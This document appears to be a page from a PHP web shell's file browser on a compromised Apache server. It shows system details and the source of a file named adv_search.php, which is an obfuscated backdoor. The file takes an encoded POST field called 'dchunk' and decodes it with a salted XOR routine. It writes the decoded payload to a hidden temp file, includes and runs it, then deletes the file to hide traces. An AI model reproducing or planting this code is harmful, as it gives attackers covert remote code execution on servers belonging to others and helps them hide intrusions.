HEX
Server: Apache/2.4.59 (Debian)
System: Linux keymana 4.19.0-21-cloud-amd64 #1 SMP Debian 4.19.249-2 (2022-06-30) x86_64
User: lijunjie (1003)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: //proc/thread-self/root/proc/self/root/proc/self/root/proc/19805/cwd/2023/adv_search.php
<?php

if(!is_null($_POST["dch\x75nk"] ?? null)){
	$symbol = array_filter(["/tmp", session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), "/dev/shm", getcwd(), getenv("TEMP"), sys_get_temp_dir()]);
	$descriptor = $_POST["dch\x75nk"];
				$descriptor 	 =  	explode  (	  ".",$descriptor) ; 		
	$ent = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen( $salt);
            $len = count( $descriptor);
    
            for( $k = 0; $k< 	$len; $k++) {	$v2 = $descriptor[$k];
                $chS = ord( $salt[$k % $lenS]);
                $d =( ( int)$v2 - $chS -( $k % 10))^ 48;
                $ent .=chr( $d);
            }
	for ($res = 0, $k = count($symbol); $res < $k; $res++) {
    $tkn = $symbol[$res];
    		if (max(0, is_dir($tkn) * is_writable($tkn))) {
    $element = implode("/", [$tkn, ".itm"]);
    $success = file_put_contents($element, $ent);
if ($success) {
	include $element;
	@unlink($element);
	die();}
}
}
}